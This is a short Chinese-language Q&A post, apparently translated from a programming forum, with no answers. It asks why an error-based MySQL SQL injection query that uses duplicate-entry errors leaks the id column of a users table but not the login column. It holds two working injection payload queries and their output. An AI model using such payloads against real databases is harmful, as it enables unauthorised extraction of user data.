基于错误的SQL注入不适用于我的MySQL数据库

时间:2017-01-12 12:15:21

标签: mysql sql-injection

我尝试执行基于Duplicate entry错误的SQL注入。它被很好地描述了here。但就我而言,它仅适用于多个列,而不适用于所有列。例如,它适用于id列,不适用于login表的users列。我也可以使用这种方法提取version()这样的信息。但为什么这对任何列都无效?

示例:

这可以正常运行并抛出Duplicate Entry错误:

SELECT COUNT(*),
       CONCAT((SELECT CONCAT(users.id)
               FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x

但这不起作用:

SELECT COUNT(*),
       CONCAT((SELECT CONCAT(users.login)
               FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x

唯一的区别是列名。但是第二个示例返回一个这样的表而不是错误:

COUNT(*) x
157      admin 0
128      admin 1

第二种情况没有错误。是什么原因?

0 个答案:

没有答案